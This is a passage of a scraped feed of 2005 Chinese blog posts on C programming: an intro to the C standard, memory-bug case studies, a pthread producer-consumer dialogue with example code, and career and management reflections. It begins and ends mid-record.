C标准(C99，以下称标准)，呵呵，当然也不能面面俱到，只是“走马观花”。\n1. 什么是“标准”（这里指编程语言标准）\n按照comp.lang.c的C FAQ的意思:“标准只是把现存的实践整理成文。编程语言标准可以看作语言使用者和编译器实现者之间的协议。协议的一部分是编译器实现者同意提供, 用户可以使用的功能。而其它部分则包括用户同意遵守, 编译器实现者认为会被最受的规则。只要双方都恪守自己的保证, 程序就可以正确运行。如果任何一方违背它的诺言, 则结果肯定失败。\n2. ANSI C Standard到底讲了啥？\n这就是标准中\u0026quot;Scope\u0026quot;一节所要讲述的问题。按照标准说明：标准详细说明了使用C语言书写的程序的形式，规范对这些程序的解释。包括：\n– C程序的表示法;\n– C语言的语法和约束;\n– 解释C程序的语义规则;\n– C程序输入和输出的表示;\n– 一份标准的实现的限定和约束。\n3、有关标准中所用术语的解释\n在标准的第3章列出了标准中所用的一些难解的术语、定义和符号。我想这些术语用英文解释应该更为精确，建议在看标准前认认真真的看一遍这些术语。有些术语解释第的确确让我弄清了我以前的一些疑惑。\n4、“走马观花ANSI C标准”将按照ANSI C标准的章节分为：\n– 环境\n– 语言\n– 库\n仅是计划而已^_^。\n","permalink":"https://tonybai.com/2005/07/28/introduction-on-c-standard-overview-series/","summary":"\u003cp\u003e大部分的关于\u003ca href=\"http://en.wikipedia.org/wiki/C_%28programming_language%29\"\u003eC\u003c/a\u003e的著作都提到\u003ca href=\"http://en.wikipedia.org/wiki/ANSI_C\"\u003eANSI C Standard\u003c/a\u003e，但我相信少有C程序员真正细致阅读过ANSI C标准(当然了对于作C编译器的程序员来说这个标准肯定是烂熟于胸了^_^),在这个系列的文章中我将和大家一起浏览一下ANSI C标准(\u003ca href=\"http://en.wikipedia.org/wiki/C99\"\u003eC99\u003c/a\u003e，以下称标准)，呵呵，当然也不能面面俱到，只是“走马观花”。\u003c/p\u003e","title":"走马观花ANSI C标准-介绍"},{"content":"最近同寝室的一位朋友参加了一次某国内著名通讯公司的社招活动，回来后他简单给我讲了些他的经历，听后觉得有些东西是很值得自己思考的，就列举了出来。\n那个公司的社招共1轮笔试，3轮面试（一轮技术面试和2轮综合面试）。笔试自不必说，对于有着多年工作经验的我的同事自然不在话下，技术面世也很顺利通过。在下面2轮的综合面试中，首先是让你自我介绍，我想这也是面试官在发现你问题的阶段。然后两个面试官几乎问着相同的问题。问题如下(我觉得较有代表性的)：\n1.你自己评价一下你的优缺点？\n2.评价一下的你的直接经理？\n3.评价一下你的同组的成员的优缺点？\n4.你的职业生涯中最让你有成就感的一件事？\n5.你的职业生涯中最让你有挫折感的一件事？\n6.你的职业生涯的收获？\n你不妨试着回答一下上面的问题，你的感觉如何？你想过这样的问题么？回答后是不是有某些启发呢!\n","permalink":"https://tonybai.com/2005/07/26/an-interview-experience-of-my-friend/","summary":"\u003cp\u003e最近同寝室的一位朋友参加了一次某国内著名通讯公司的社招活动，回来后他简单给我讲了些他的经历，听后觉得有些东西是很值得自己思考的，就列举了出来。\u003c/p\u003e","title":"朋友的一次社招经历"},{"content":"这是一篇从班级校友录上摘录下来的文章，删节一部分，我擅自加了个题目“人生数字”，也不知恰当与否。\n23岁的时候，你毕业了，你第一份工作的薪水是1500块，转正以后变成2000块。工资总花得一分钱不剩，盼着发薪的日子。过了一年你跳槽了，工资变成3000块，你穿的衣服开始变贵了，吃的东西开始变好了，不过有一样没有变，工资还是花得一分钱不剩。这时候你谈恋爱了，你为了交女朋友，一个月要向朋友借1000块，她还是嫌你钱少，把你揣了。好不容易找个邻家女孩，感情甚好，学会了生活，一个月居然能存1000块，没想到在你憧憬未来的时候，她家里人不同意，把你们拆了。于是你发奋图强，终于工资涨到了6000块，变成白领，开始泡酒吧，追美女，给人家100块的小费。某一天，在街上碰见甩你的前女友，很奇怪自己当初怎么会看上她，她是那么的没品味。30岁的时候，你有了10万块存款，不过你觉得很疲惫，想找个地方，可以踏实地睡。于是你结婚了，存款变成了贷款，每月还要还上4000块，不过你和妻子的工资加起来有1万块，你一点都不觉得累。一晃几年过去，你还清了贷款还存了5万块，你的孩子也长到六岁，你不希望他重复你的生活，于是想送他到外国，可是人家一张嘴就是20万，你心里暗骂“这帮黑心的老外“。愿望虽好，没钱也是白费，你的孩子还是在国内，一直长到22岁。60岁的时候，你退休了，儿子要结婚，向你要了40万块，你没嫌多，反到觉得花在自己儿子身上，比送给老外实在。过了一年又一年，你对数字不再敏感除了自己的年龄。有时候你躺在床上还在想，我怎么还这么结实，是因为我补了钙还是上帝希望我健在。 终于你安息了，墓碑上刻着你生活的年代“198x－－2046”，这也是你最后的一串人生数字。\n","permalink":"https://tonybai.com/2005/07/26/life-number/","summary":"\u003cp\u003e这是一篇从班级校友录上摘录下来的文章，删节一部分，我擅自加了个题目“人生数字”，也不知恰当与否。\u003c/p\u003e\n\u003cp\u003e23岁的时候，你毕业了，你第一份工作的薪水是1500块，转正以后变成2000块。工资总花得一分钱不剩，盼着发薪的日子。过了一年你跳槽了，工资变成3000块，你穿的衣服开始变贵了，吃的东西开始变好了，不过有一样没有变，工资还是花得一分钱不剩。这时候你谈恋爱了，你为了交女朋友，一个月要向朋友借1000块，她还是嫌你钱少，把你揣了。好不容易找个邻家女孩，感情甚好，学会了生活，一个月居然能存1000块，没想到在你憧憬未来的时候，她家里人不同意，把你们拆了。于是你发奋图强，终于工资涨到了6000块，变成白领，开始泡酒吧，追美女，给人家100块的小费。某一天，在街上碰见甩你的前女友，很奇怪自己当初怎么会看上她，她是那么的没品味。30岁的时候，你有了10万块存款，不过你觉得很疲惫，想找个地方，可以踏实地睡。于是你结婚了，存款变成了贷款，每月还要还上4000块，不过你和妻子的工资加起来有1万块，你一点都不觉得累。一晃几年过去，你还清了贷款还存了5万块，你的孩子也长到六岁，你不希望他重复你的生活，于是想送他到外国，可是人家一张嘴就是20万，你心里暗骂“这帮黑心的老外“。愿望虽好，没钱也是白费，你的孩子还是在国内，一直长到22岁。60岁的时候，你退休了，儿子要结婚，向你要了40万块，你没嫌多，反到觉得花在自己儿子身上，比送给老外实在。过了一年又一年，你对数字不再敏感除了自己的年龄。有时候你躺在床上还在想，我怎么还这么结实，是因为我补了钙还是上帝希望我健在。 终于你安息了，墓碑上刻着你生活的年代“198x－－2046”，这也是你最后的一串人生数字。\u003c/p\u003e","title":"人生数字"},{"content":"内存问题是C程序员永久的话题，也是最能让C程序员心痛的话题。内存bug即隐秘，危害又大，而且往往当你解决了它之后，你会发现你的错误是多么的低级。以我为例，看下面的两个case:\nCASE1\n背景: 配置信息读取\nBug现象: 通过打印语句观察到，在配置读取中间时刻，某一指针突然被置为NULL，出core。\n耗时: 6小时\n问题所在及分析: 经过6小时的不懈努力，终于发现了这一让我哭笑不得的低级错误。问题原因大致是这样的：\n我定义了一个存储配置信息的结构体变量指针，并在初始化的时候给该指针在共享内存中分配空间，下面的代码就是我分配空间时的代码\nxx_t *p;\n…//\np = xx_malloc((void**)\u0026amp;p, sizeof(p));\n正确的代码\np = xx_malloc((void**)\u0026amp;p, sizeof(xx_t));\n我想我之所以花了那么长时间才找到这个问题，是被一些奇怪的现象所蒙蔽了，也是查找内存误操作问题经验不足所致。\nCASE2\n背景: Ftp客户端获取文件列表\nBug现象: 当Server端目录下文件个数很多时(如\u0026gt;=1000)，以后的ftp操作全部失效，出现errno = 95、134等。\n耗时: 7小时\n问题所在及分析: 由于在文件少的时候，我们的ftp client工作一切正常，所以我们最开始怀疑的是接收数据缓冲区开得不够大。但是在加大缓冲区之后，问题依然存在。由于对FTP协议并不是很熟悉，导致在一些细节上又耽误了很多时间。之后我们看到一个奇怪的现象就是errno 95的出现，说明我们的ctrl channel socket已无效。我们使用最传统的调试方法使用打印语句，从创建Ctrl Socket开始，一直追踪到问题发生区域，并锁定一块区域的代码，在该代码之前ctrl socket为31, 之后ctrl socket居然变为1, 而且这段代码中并没有操作socket的语句。我们分析有两个可能：\n1)这段代码运行时间过长，导致Ftp server关闭link;\n2)该段代码有内存误操作，导致内存被污染;\n我们使用排除法，首先注掉那段代码，取而待之的是sleep(30)，我们想如果sleep 30秒，Ftp server不关闭link的话，那么就是第2种可能了，结果是的确有“内存误操作”，静态检查代码后，锁定在一个给指针数组赋值的语句上，察看上层代码后，发现这就是问题所在。用代码说明问题大致是这样的：\nchar *flist[200];\n…//\nint cnt = 0;\nwhile (读取数据不为空) {\np = malloc(…);\n…//\nflist[cnt] = p;\ncnt++; }\n显然如果数据超过200条，数组必然越界。\n总结：经过两个Case中，发现自己在找“内存误操作”问题上的经验不足，但同时经过这两个case，我总结一下几条，可能对以后的bug查找有所帮助。\na) 虽然“内存bug”不易查找和修改，但是一定要摆正心态，首先确定是“内存误操作”带来的bug；\nb) “内存bug”绝大多数是极其低级的错误，所以首先要仔仔细细静态检查代码,可以按下面的顺序检查\n.搜索所有的malloc, memset, memcpy一类的内存操作函数，察看是否有“马虎”错误；\n.察看所有的数组变量，看是否有越界嫌疑\nc) 打印语句是最简单，但是却是最有效的debug方法(我是这么认为的^_^)，要利用好哟。\n[注]：errno 95 — Socket operation on non-socket\n","permalink":"https://tonybai.com/2005/07/20/pain-of-c-programmer/","summary":"\u003cp\u003e内存问题是\u003ca href=\"http://tonybai.com/tag/C\"\u003eC\u003c/a\u003e程序员永久的话题，也是最能让C程序员心痛的话题。内存bug即隐秘，危害又大，而且往往当你解决了它之后，你会发现你的错误是多么的低级。以我为例，看下面的两个case:\u003c/p\u003e\n\u003cp\u003eCASE1\u003c/p\u003e\n\u003cp\u003e背景: 配置信息读取\u003cbr\u003e\nBug现象: 通过打印语句观察到，在配置读取中间时刻，某一指针突然被置为NULL，出core。\u003cbr\u003e\n耗时: 6小时\u003cbr\u003e\n问题所在及分析: 经过6小时的不懈努力，终于发现了这一让我哭笑不得的低级错误。问题原因大致是这样的：\u003cbr\u003e\n我定义了一个存储配置信息的结构体变量指针，并在初始化的时候给该指针在共享内存中分配空间，下面的代码就是我分配空间时的代码\u003cbr\u003e\nxx_t *p;\u003cbr\u003e\n…//\u003c/p\u003e","title":"C程序员之“痛”"},{"content":"2005年7月8日是我入司一周年纪念日，本想写篇Blog纪念一下，可是思维的小溪总是难以汇聚成大江大河，始终觉得无话可说，再加之最近的项目十分紧迫，So我放弃了。这周末公司去海边旅游放松，带着一身的疲惫回来后，坐在电脑前，突然觉得该写些东西了\n纵然C语言是我通往软件开发世界的领路人，但曾经(大二)一度认为C已经是明日黄花，之后便不再认真钻研之。入司被分到C组，平时开发的方式和大部分刚入司的新员工一样\u0026quot;照猫画虎\u0026quot;，事实证明这是最快捷的上手途径，这也并没有错。错就错在我对C的消极态度。代码写完了就写完了，几乎从来不去重构、优化，现在看来那些代码真是有些“不堪入目”，也许这个词包含些夸张成分^_^。由于长时间缺乏对C的钻研，我有时居然犯一些及其低级的错误。直到最近的这个项目我逐渐清醒了一些，在和leader的平时交流中他也一针见血的指出我的不足之处之一就是“杂而不专”，虽说一定的知识面是很重要的，但是作为作技术的，不能在一个方向上“露头”，又怎能让领导重视你呢，你的价值又体现在哪呢？“大家不可能因为某个人能学，就认可他”这是另一句触动我很深的话。曾经有段时间想过转移到Java方向，自己也在Java上面投入了大量的时间，阅读了大量的材料和书籍（我的时间没有浪费，只是没放在行上，就暂且将C定位本行吧^_^）。但由于多种原因没能走向Java，这个结果对于我来说意味着什么呢，我不能不承认我学到了很多东西，但失去的也同样很多，比如在本行“露头”的机会。最近的项目让我感到自己在C上的欠缺，不得不加班加点恶补。\n相信很多公司的员工手册或文化手册中都有这么一点：“追求个人与公司的共同发展”，那么“重操旧业”就算是我“响应号召”的一个起点吧！\n","permalink":"https://tonybai.com/2005/07/17/resume-my-old-profession/","summary":"\u003cp\u003e2005年7月8日是我入司一周年纪念日，本想写篇Blog纪念一下，可是思维的小溪总是难以汇聚成大江大河，始终觉得无话可说，再加之最近的项目十分紧迫，So我放弃了。这周末公司去海边旅游放松，带着一身的疲惫回来后，坐在电脑前，突然觉得该写些东西了\u003c/p\u003e","title":"重操旧业"},{"content":"Alex正在电脑前面作冥思苦想状，这时Tony悄悄地走到Alex的身后，观察了一会儿…\nTony : 看来今天我们要讨论同步问题了。\nAlex : （惊奇地回头）。Hey Man , you scared me! 你说的没错，我正在学习同步这一块儿呢，有什么高见不妨说出来吧，我洗耳恭听！\nTony : 不敢不敢。关于进程和线程同步的问题，W. Richard Stevens在他的那本经典的“UNIX Network Programming Volume 2”中有过详尽的讲解，你不妨仔细阅读一下。\nAlex : 远水解不了近渴。你还是大概跟我说说吧！\nTony : OK, 我们就拿一个最简单例子来探讨一下吧。在拿出例子之前我们来回顾一下同步的由来。Alex你说说为什么要同步呢？\nAlex : 有共享就要同步，就好比超市的POS，如果没有好的同步顾客活动的策略，那超市不就乱了套了么，大家都争着抢着去结账。\nTony : 嗯，没错。mess world is not what we need! 互斥和条件变量是我们经常使用的同步手段，当然更高级的还有信号灯等。\nAlex : 逐一说明吧，看来今天又会有不小的收获^_^\nTony : 历史上有个特别有名的问题叫做“生产者-消费者”问题，又叫“有限缓冲区”问题，我们今天的例子大约就是这个样子的。\nAlex : （入迷的样子）\nTony : 我们的例子是这样的，我们有“生产者”和“消费者”两个角色，他们共享某一整型变量，规定如下：\n1)生产者发现产品已经被消费了，便生产，即将该共享变量置为1；\n2)消费者发现有产品了，便消费，即将该共享变量置为0；\n很简单吧。我们还是用老办法，由简入难，我们可以使用最简单的手段“互斥锁”来完成这个任务。\nAlex : 我知道“互斥锁”，但是了解得并不深，先讲讲理论把！\nTony : 互斥，顾名思义互相排斥，它是最基本的同步手段，一般用来保护“临界区”，“临界区”是一段代码，看起来互斥保护了临界区这段代码的，实质上互斥保护的是“临界区”中被操纵的数据。\nAlex : 互斥是不是即可用于线程，也可以用于进程呢？\nTony : 都可以，在我们的例子中我们使用线程，因为线程间共享一个数据空间，实现起来比较容易；进程间要想共享数据就需要额外的支持，比如共享内存等。\nAlex : 噢。\nTony : 我们开始吧，按照例子中所述我们应该有两个线程，分别代表生产者和消费者。按照W. Richard Stevens的指导，我们将我们的互斥锁和我们的共享数据放在一个结构体内。\n//数据结构定义\n#define MAX_COUNT 100\ntypedef struct sharedata_t{\npthread_mutex_t lock;\nint val;\n}sharedata_t;\nsharedata_t shared = {PTHREAD_MUTEX_INITIALIZER};\n//主函数\nint main(){\npthread_t producer;\npthread_t consumer;\npthread_create(\u0026amp;producer, NULL, produce, NULL);\npthread_create(\u0026amp;consumer, NULL, consume, NULL);\npthread_join(producer, NULL);\npthread_join(consumer, NULL);\nreturn 0;\n}\n这些都很简单，关键的是produce和consume两个线程执行函数。\nAlex : 如前面所说，produce和consume在访问shared时候一定要先对lock上锁。\nTony : 没错，在任意时刻都只有一个线程在操纵shared变量。代码如下：\nvoid *produce(void *arg){\nint count = 0;\nfor( ; ; ){\npthread_mutex_lock(\u0026amp;shared.lock);\nif(shared.val == 1){//如果已经生产了我就不生产了，直到消费者消费掉\npthread_mutex_unlock(\u0026amp;shared.lock);\ncontinue;\n}\nshared.val = 1;\ncount++;\nif(count \u0026gt; MAX_COUNT){\npthread_mutex_unlock(\u0026amp;shared.lock);\nbreak;\n}\nprintf(\u0026ldquo;the %d th produce\\n\u0026rdquo;, count);//线程共享进程stdout缓冲区，如果不加以保护，就会被另一个线程的输出刷新\npthread_mutex_unlock(\u0026amp;shared.lock);\n}\n}\nvoid *consume(void *arg){\nint count = 0;\nfor( ; ; ){\npthread_mutex_lock(\u0026amp;shared.lock);\nif(shared.val == 0){//如果还没生产呢，我就暂时不能消费\npthread_mutex_unlock(\u0026amp;shared.lock);\ncontinue;\n}\nshared.val = 0;\ncount++;\nif(count \u0026gt; MAX_COUNT){\npthread_mutex_unlock(\u0026amp;shared.lock);\nbreak;\n}\nprintf(\u0026ldquo;the %d th consume\\n\u0026rdquo;, count);\npthread_mutex_unlock(\u0026amp;shared.lock);\n}\n}\nTony : 现在这个程序是正确的，但是却不是理想的，他的输出结果肯定是如下的：\nthe 1 th produce\nthe 1 th consume\nthe 2 th produce\nthe 2 th consume\n…\nthe 100 th produce\nthe 100 th consume\nAlex : 是producer和consumer交替对吧。\nTony : 没错！运行一下，你感觉如何呢？\nAlex : 好像有些慢！我觉得produce和consume两个函数中关于shared.val的值的轮转测试是比较耗时的，而且每次测试前后都要上锁、解锁。\nTony : 说的没错！像这样的轮询是极其浪费CPU时间的。我们不是没有办法解决的，我们可以利用条件变量的方式来解决它，不过针对这个例子来说，使用条件变量从代码上看理解起来就会有些困难了。\nAlex : 继续说！\nTony : 条件变量提供一种等待-唤醒机制，可以这样理解如果消费者发现没有产品，它并不继续轮训，而是睡眠，直到生产者生产出产品，并将之唤醒消费。反过来说也一样，那就是如果生产者发现生产出来的产品还没有被消费者消费掉，就同样睡眠，直到消费者将产品消费掉，并将生产者唤醒生产，这样就省下了大量的CPU时间，性能提升可不是一点半点的。不过我们实现起来的时候要更加小心。\nAlex : Just go on!\nTony : 要想使用条件变量，我们还需要定一个结构，用来存放我们的条件。\ntypedef struct conddata_t{\npthread_mutex_t lock;\npthread_cond_t cond;\nint ready;\n}conddata_t;\nconddata_t condd = {PTHREAD_MUTEX_INITIALIZER, PTHREAD_COND_INITIALIZER, 0}；\n主函数无需改变，修改后的produce和consume如下，由于不好理解，所以我讲上了不少的注释，可以帮助理解。\nvoid *produce(void *arg){\nint count = 0;\nfor( ; ; ){\npthread_mutex_lock(\u0026amp;condd.lock);\nwhile(condd.ready == 1)//已生产,还没消费完,此时producer休眠\npthread_cond_wait(\u0026amp;condd.cond, \u0026amp;condd.lock);\ncondd.ready = 0;//消费完,还没生产呢，此时consumer休眠\npthread_mutex_unlock(\u0026amp;condd.lock);\npthread_mutex_lock(\u0026amp;shared.lock);\nshared.val = 1;\ncount++;\nif(count \u0026gt;= MAX_COUNT){\npthread_mutex_unlock(\u0026amp;shared.lock);\ncondd.ready = 1;//生产者生产完最后一个后退出了，告诉消费者\npthread_cond_signal(\u0026amp;condd.cond);//告诉消费者可以消费最后一个了\nbreak;\n}\nprintf(\u0026ldquo;the %d th produce\\n\u0026rdquo;, count);//线程共享进程stdout缓冲区，如果不加以保护，就会被另一个线程的输出刷新\npthread_mutex_unlock(\u0026amp;shared.lock);\npthread_mutex_lock(\u0026amp;condd.lock);\ncondd.ready = 1;//生产完了，等待消费\npthread_mutex_unlock(\u0026amp;condd.lock);\npthread_cond_signal(\u0026amp;condd.cond);//告诉消费者可以消费了\n}\n}\nvoid *consume(void *arg){\nint count = 0;\nfor( ; ; ){\npthread_mutex_lock(\u0026amp;condd.lock);\nwhile(condd.ready == 0)//没有东西可以消费，消费者休眠\npthread_cond_wait(\u0026amp;condd.cond, \u0026amp;condd.lock);\ncondd.ready = 1;//这在消费，请生产者等待，生产者休眠\npthread_mutex_unlock(\u0026amp;condd.lock);\npthread_mutex_lock(\u0026amp;shared.lock);\nshared.val = 0;\ncount++;\nif(count \u0026gt;= MAX_COUNT){\npthread_mutex_unlock(\u0026amp;shared.lock);\nbreak;\n}\nprintf(\u0026ldquo;the %d th consume\\n\u0026rdquo;, count);\npthread_mutex_unlock(\u0026amp;shared.lock);\npthread_mutex_lock(\u0026amp;condd.lock);\ncondd.ready = 0;//告诉生产者消费完了，该生产了\npthread_mutex_unlock(\u0026amp;condd.lock);\npthread_cond_signal(\u0026amp;condd.cond);\n}\n}\n代码更长了。有些东西不必要解释，看看注释认真思考一下就能得到答案的。\nAlex : 晓得。\nTony : 这回我们来看看性能，第一个实现cpu占用98% 耗时近10秒，而第二个实现几乎瞬间完成。\nAlex : 我还在思考，的确不容易理解。\nTony : 还要注意的是资源的释放，这可是一个重要的问题。你慢慢思考吧，我去喝杯coffee。^_^\n","permalink":"https://tonybai.com/2005/06/09/tony-alex-dialog-on-synchronization/","summary":"\u003cp\u003eAlex正在电脑前面作冥思苦想状，这时Tony悄悄地走到Alex的身后，观察了一会儿…\u003c/p\u003e\n\u003cp\u003eTony : 看来今天我们要讨论同步问题了。\u003cbr\u003e\nAlex : （惊奇地回头）。Hey Man , you scared me! 你说的没错，我正在学习同步这一块儿呢，有什么高见不妨说出来吧，我洗耳恭听！\u003cbr\u003e\nTony : 不敢不敢。关于进程和线程同步的问题，\u003ca href=\"http://en.wikipedia.org/wiki/W._Richard_Stevens\"\u003eW. Richard Stevens\u003c/a\u003e在他的那本经典的“\u003ca href=\"http://book.douban.com/subject/1894843\"\u003eUNIX Network Programming Volume 2\u003c/a\u003e”中有过详尽的讲解，你不妨仔细阅读一下。\u003cbr\u003e\nAlex : 远水解不了近渴。你还是大概跟我说说吧！\u003cbr\u003e\nTony : OK, 我们就拿一个最简单例子来探讨一下吧。在拿出例子之前我们来回顾一下同步的由来。Alex你说说为什么要同步呢？\u003cbr\u003e\nAlex : 有共享就要同步，就好比超市的POS，如果没有好的同步顾客活动的策略，那超市不就乱了套了么，大家都争着抢着去结账。\u003cbr\u003e\nTony : 嗯，没错。mess world is not what we need! 互斥和条件变量是我们经常使用的同步手段，当然更高级的还有信号灯等。\u003cbr\u003e\nAlex : 逐一说明吧，看来今天又会有不小的收获^_^\u003cbr\u003e\nTony : 历史上有个特别有名的问题叫做“生产者-消费者”问题，又叫“有限缓冲区”问题，我们今天的例子大约就是这个样子的。\u003cbr\u003e\nAlex : （入迷的样子）\u003cbr\u003e\nTony : 我们的例子是这样的，我们有“生产者”和“消费者”两个角色，他们共享某一整型变量，规定如下：\u003cbr\u003e\n       1)生产者发现产品已经被消费了，便生产，即将该共享变量置为1；\u003cbr\u003e\n       2)消费者发现有产品了，便消费，即将该共享变量置为0；\u003cbr\u003e\n       很简单吧。我们还是用老办法，由简入难，我们可以使用最简单的手段“互斥锁”来完成这个任务。\u003cbr\u003e\nAlex : 我知道“互斥锁”，但是了解得并不深，先讲讲理论把！\u003cbr\u003e\nTony : 互斥，顾名思义互相排斥，它是最基本的同步手段，一般用来保护“临界区”，“临界区”是一段代码，看起来互斥保护了临界区这段代码的，实质上互斥保护的是“临界区”中被操纵的数据。\u003cbr\u003e\nAlex : 互斥是不是即可用于线程，也可以用于进程呢？\u003cbr\u003e\nTony : 都可以，在我们的例子中我们使用线程，因为线程间共享一个数据空间，实现起来比较容易；进程间要想共享数据就需要额外的支持，比如共享内存等。\u003cbr\u003e\nAlex : 噢。\u003cbr\u003e\nTony : 我们开始吧，按照例子中所述我们应该有两个线程，分别代表生产者和消费者。按照W. Richard Stevens的指导，我们将我们的互斥锁和我们的共享数据放在一个结构体内。\u003c/p\u003e","title":"同步问题讨论-Tony与Alex的对话系列"},{"content":"5月末我参加了一次“从技术到管理的”培训，总体来说还是有所收获的。这段时间我一直想把自己的收获总结出来与大家分享，但是也一直没找到一个很好的形式来表达，我想简单的罗列一些规则和技巧是最最乏味的。在我的“关于Tony与Alex的对话系列的一点说明”一文中曾经将“Tony与Alex对话系列”定位为技术类的系列文章，但是经过这几天的思考，发现它同样可以用做管理知识起码是技术管理知识的介绍，这篇Blog将作为本系列中的第一篇围绕管理知识的文章。由于本人现在并非管理角色，所以文章内容的正确性和合理性并不能完全保证。\n剧情介绍：这篇文章中Tony的角色是一个部门leader，现在他想将Alex提拔为一个Project Leader，身处管理角色多年的Tony深知从技术角色走向管理角色决不是一蹴而就的事情，思维的转变需要的实践和耐心。下面是Tony和Alex的一次对话。Tony主要想了解一下Alex的在管理方面的涉猎以及存在的不足，顺便给Alex一些原则性的指导。\nTony : Alex, 你入司已经有3年了，而且一直是部门内部的技术骨干，你做的很好。\nAlex : （心中很是欢喜，能获得Tony的好评真是一件值得高兴的事情，但Alex仍有些丈二和尚摸不到头）自己只是尽力而为罢了。\nTony : （Tony的慧眼当然很快的看出Alex的心理变化）Alex，你知道公司是如何选拔技术项目经理的么？\nAlex : 我只知道我看到的项目经理曾经都是部门内部的技术拔尖的人。\nTony : 说的没错，在我们的公司中一直是“技优则管”，虽然这不是我们追求的理想办法，但是这些都决定于整个国内软件行业的“行情”以及软件行业从业者的思维特点。问你这样一个问题：“如果让你选择你所在项目的主管，你是选一个有技术背景的呢还是选一个毫不技术背景的呢”？\nAlex : 我想我会选择前者，和一个有技术背景的主管可能沟通起来更加方便和容易。\nTony : 这也是现在大多数人的想法，即所谓的喜欢“内行管内行”，很多调查公司的调查均证明了这一点。现在国内的软件业发展很快，我们几乎不可能招聘一个有经验的职业的管理者并对之进行行业知识培训，这样的成本和风险都太高，我们唯一的方法就是从我们已有的优秀员工中选拔，对他们进行相关的管理知识培训，使之尽快的进入管理角色。\nAlex : 原来如此，我以前还真的没想过这么多。\nTony : 想过进入管理者的行列么？你对管理了解多少呢？\nAlex : （微笑）参加过很多次管理相关的培训，但是没有实践过，所以在理解和操作上还差很多。\nTony : 其实这次和你的谈话就是想了解些你自己的想法，顺便将我个人的一些经验和你做一些交流。\nAlex : 我会珍惜这次机会的。\nTony : 我本人就是一个从技术角色转到管理角色的一个例子，所以我自己多多少少了解和经历了一些在转型过程中的问题，就这么多年来我的所见所闻而言，我觉得从技术角色到管理角色的转变关键是思维方式的转变。我们可以从一些现象中挖掘到这点。还是要问你一个问题。Alex,你觉得技术人员的特质有哪些呢？\nAlex : 你问的是“什么是技术人员的特质”么？我不是十分能理解“特质”的含义，我就拿我自己以及我所看到的技术人员的行为共性说一下吧。我觉得大多数技术人员做事不够灵活，在某件具体的事情上容易钻牛角尖；他们很细心，做事思路清晰，关注细节，一步一步的向前走，也可以说有些按部就班（微笑）；喜欢就事论事，一般不针对某个人；认为对就是对，错就是错。\nTony : 说的很好，看来你的观察力和总结能力都非常的不错。外国的很多调查公司都做过这方面的调查，你知道调查出的结果是什么么?\nAlex : 什么呢，一定很有意思。\nTony : 结果显示技术人员的特质包括如下几个方面，你不妨对对号，看看你说的是不是都在其中。\na)管事\nb)管细\nc)非黑即白\nd)对事不对人\ne)科学\nf)量化\ng)古板\nh)关注过程\ni)收敛思维\nAlex : 这么多呀，最后两条我好像没有说出来。\nTony : “不识庐山真面目，只缘身在此山中”亚（Tony微笑着说）。你没体会到的两点“关注过程”和“收敛思维”恰恰是我认为比较重要的两点，也是技术人员在转型道路上比较难克服的两点。这也是我所说的思维上的东西。\nAlex : 刚才想了一下自己在平时工作中的行为，还真的能对上号。\nTony : 是呀。比如一个客户让一个开发人员去开发一个ftp客户端，他可能马上接受任务，然后马上开始想我该如何设计和实现这个ftp客户端，而把客户这个关键的任务搁置在一旁，收敛性的思维决定了他根本意思到需要和客户沟通，询问客户到底需要一个什么样的ftp客户端。\nAlex : 真是说到我的心坎里了。\nTony : 我这里同时说说管理人员的特质，你不妨对比一下。管理人员具有和技术人员截然不同的特质，他们：\na)管人\nb)管粗\nc)非黑非白\nd)对事又对人\ne)艺术\nf)概念化\ng)灵活\nh)关注结果\ni)发散思维\nAlex : 有这么大的差别亚。\nTony : 不用担心，这个世界上99.99%的管理者都不是天生的，他们也是在工作实践中一点一滴地学习成才的。再给你讲这样的一件事情，你来看看如何去处理？如果你是一个部门的销售经理，你让你的一个下属去写一份“xx产品的市场调研报告”，他欣然领命后下去了，不过时间不长他就回来了，并向你询问“xx章节该如何去写”，这时候你应该如何做呢？\nAlex : 难道我事先没跟他讲清楚么？\nTony : 你讲清楚了，而且他还频频点头，好像已经听懂了的样子，但是事实就是他又回来问你了，你知道为什么吗？\nAlex :（疑惑…）那我可能会再详细的告诉他该如何去写。\nTony : OK，这个问题解决了，之后他又反复地回来问你一些其他的你认为已经给他讲清了的问题，你该如何去办呢？\nAlex : 会发生这样的情况么？那还不如我自己写这个报告了，这样多烦亚。\nTony : （微笑）这是一个典型的技术人员转型的障碍之一–“亲历亲为”。这里还蕴涵着一个管理的技巧问题“如何进行工作分派”。\nAlex : 这么复杂亚。\nTony : 前面不说过么管理是一门艺术。“亲历亲为”是技术人员在转型过程中最容易犯的问题。技术管理者在转型后常常抱怨每天“忙碌而无成效”，其中“亲历亲为”是一个重要的原因，当然不是唯一的。“亲历亲为”导致的最直接的后果就是你每天忙得焦头烂额，而你的staff member每天却清闲的很。你想想在工作中是不是常有这样的事情发生呢？\nAlex : 嗯，的确如此。私下里和同事朋友吃饭聊天时总是能听到这样的抱怨。\nTony : 如何能做到不亲历亲为呢？给你讲一个我自己的故事，这个故事其实和上面的故事差不多，它发生在我的个人助理身上。一次要参加一个会议，我让我的个人助理帮我完成这篇演讲稿，她完成初稿后发给我让我审阅，我给她指出若干个错误，然她重新修改，如此反复不下20次，在一天之内，在我告诉我的那位助理演讲稿通过了时候，她都快哭了。之后我再让这位助理些稿子，总是一遍就通过，我再也找不出其中的不足了。你要知道如果我自己来完成那篇讲演稿的话，可能只需要我30分钟的时间，而我却花了大量的时间来纠正她的不足。不妨想像一下如果没有那次的反复纠正，那个助理永远也不知道什么样的稿子是合格的。从中你能体会到什么吗？\nAlex : 嗯，有些感觉了。\nTony : 古语说“强将手下无弱兵”，在现代的工作中，这句话可未必百分之百正确。\nAlex : 是呀，强将的“亲历亲为”导致了“弱兵”的诞生。\nTony : 在培养部下迅速成长的同时，还要留心一些技巧问题，就如第一个例子中讲的那个销售经理，他在分派工作时并没有掌握足够的技巧，导致了后来的结果。\nAlex : 分派工作还需要什么技巧么，直接告诉他做什么不就可以了么？\nTony : 事实上并非如此简单，你回想一下上面的那些例子在你的平时工作中是否发生过？我相信一定有的。一般来说分派工作可以使用6步法：\n一、要向你的下属解释这个任务的重要性；\n二、应该告诉他改做些什么而不是如何去做；\n三、明确他的权力范围\n四、确定Deadline，这里注意给自己留好退路\n五、听取反馈，最简单的方法就是让他当面复述一遍任务是什么。\n六、剩下的就是控制和跟踪了。\nAlex : 哇，真是不听不知道呀。\nTony : 呵呵，回去不妨试试，你会看到立竿见影的效果。\n办公室电话响了….\nTony : Alex ，这次谈话就到这吧，回去总结思考一下，有空儿我们再聊。\nAlex : 